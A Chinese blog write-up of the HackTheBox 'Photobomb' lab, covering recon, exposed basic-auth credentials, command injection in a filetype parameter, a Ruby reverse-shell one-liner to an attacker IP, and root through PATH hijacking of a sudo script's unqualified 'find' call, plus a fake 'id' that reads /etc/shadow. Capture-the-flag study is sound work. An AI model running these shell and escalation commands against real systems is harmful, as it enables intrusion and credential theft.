当前位置: 首页 > news >正文

HTB-Photobomb

在这里插入图片描述

HTB-Photobomb

  • 信息收集
  • 开机
  • 提权
  • 对于问题的思考

信息收集

端口扫描
在这里插入图片描述

目标首页
在这里插入图片描述
有一个http Authorization

目录扫描
在这里插入图片描述
在这里插入图片描述

在查看源码的时候发现了一个js文件。
在这里插入图片描述
在这里插入图片描述
并且发现了访问不存在的目录会出现错误提示。
在这里插入图片描述
通过搜索得知

Sinatra 是一个基于 Ruby 语言的 DSL(领域专属语言),可以轻松、快速的创建 web 应用。-------Sinatra 中文文档

通过上面发现了http Authorization的登陆凭证pH0t0:b0Mb!,使用凭证登录。
在这里插入图片描述

登陆进去没有发现什么,决定开始第二次信息收集,没错,没有额外收获。对其下载功能使用bp,能看见三个参数。

在这里插入图片描述
估计突破口在这三个参数当中,谁知道呢,因为前面知道Sinatra,所以首先考虑ruby,经过简单测试发现突破点应在filetype,并且无法正确回弹。

开机

没关系,至少证明我应该找到方向了,但是为什么会回弹没有完全成功。不会防火墙拦截了吧。更换了一个ruby的reshell脚本。

ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.9",1234))'

在这里插入图片描述

提权

通过sudo -l能发现一个文件。
在这里插入图片描述
文件内容与下,最重要的应该是最后一句。在source_images目录里找到所有jpg文件并且给予root:root。
在这里插入图片描述
立即想到的方法是通过这个脚本修改所属者和组的权限,使用bash -p选项将root组添加至wizard用户组。似乎不行。
在这里插入图片描述

虽然在hacktrick上找到了可能能用的方法,但是我没研究出来。在这里插入图片描述
又出现问题了,大概率是用法不对。
在这里插入图片描述

因为脚本使用的find命令,注意这个find命令并不是绝对路径。
在这里插入图片描述
又因为系统环境变量PATH里面有/usr/bin,所以我们能够直接用find调用/usr/bin/find。
在这里插入图片描述
如果我对系统变量进行修改,使之find为我们自己创建的一个同名文件。

在这里插入图片描述
接着要做的就是把/tmp目录添加到系统环境变量里。
在这里插入图片描述

PATH=/tmp:$PATH

在这里插入图片描述
然后执行脚本发现没有作用,为什么呢。
在这里插入图片描述
然后尝试以下方式能成功,这又是为什么。

在这里插入图片描述

对于问题的思考

为了知道那两个为什么,我做了个实验。tee.sh里面只有id命令,然后当前目录下有一个id同名文件,在修改系统环境变量命令后面加上要执行的脚本,就会出现要执行的脚本使用前面系统环境变量里面的id文件(也就是当前目录下的id)。

id内容如下。

在这里插入图片描述

tee.sh的内容为。
在这里插入图片描述
先分开运行看看。能看到加入环境变量前后id的命令发生了改变,并且再用sudo会发现tee.sh文件内的id是查看用户(组)的命令,而不是cat /etc/shadow。
在这里插入图片描述

这次加上合着一起用。可以看到使用sudo执行了当前目录文件id的cat /etc/shadow。
在这里插入图片描述

也就是说如果需要让脚本内的命令以某个路径下的同名命令替换运行并以sudo权限运行的话就需要sudo PATH:somepath:$PATH somescript.sh。至于为什么,我觉得以我目前的水平只能认为这可能是一种固定的使用方式,至于真的是否如此,只有等日后探究真相。

http://www.lryc.cn/news/19378.html

相关文章:

  • 【LSTM】2 多因素单步骤预测
  • ChatGPT从下游应用“火”到了上游芯片厂,国内谁将受益?
  • 算法单调栈—Java版
  • 在Linux中进行rocketmq及rocketmq控制台安装与配置
  • 2023年全国最新食品安全管理员精选真题及答案4
  • es-07脚本查询
  • JM员工福利与健康平台,企业关怀Always Online
  • 如何使用U-Mail搭建企业邮件服务器?
  • 用规则来搭建团队:写周报不一定是坏事
  • Apollo使用方法
  • 科研快讯 | 14篇论文被信号处理领域顶级国际会议ICASSP录用
  • 设计模式—策略(Strategy)模式
  • STM32 触摸屏移植GUI控制控件
  • 数仓模型之维度建模
  • Servlet笔记(9):Cookie处理
  • 骨传导耳机是怎么传声的,选择骨传导耳机的时候需要注意什么?
  • 达梦数据库DSC集群部署
  • java 系列之Mybatis
  • OBS 进阶 之 摄像头操作
  • Linux操作系统基础知识命令参数详解
  • Rust中一些K/V存储引擎
  • 202302-第四周资讯
  • 九方财富冲刺上市:付费用户开始减少,退款金额飙升至4.9亿元
  • SSM+HTML搭建(小白教学)
  • 【知识蒸馏】知识蒸馏(Knowledge Distillation)技术详解
  • 公司新招了个腾讯5年经验的测试员,让我见识到什么才是真正的测试天花板····
  • (一维、二维)数组传参,(一级、二级)指针传参【含样例分析,新手易懂】
  • for循环中的setTimeout以及var let作用域
  • 有限差分法求解不可压NS方程
  • Android入门第66天-使用AOP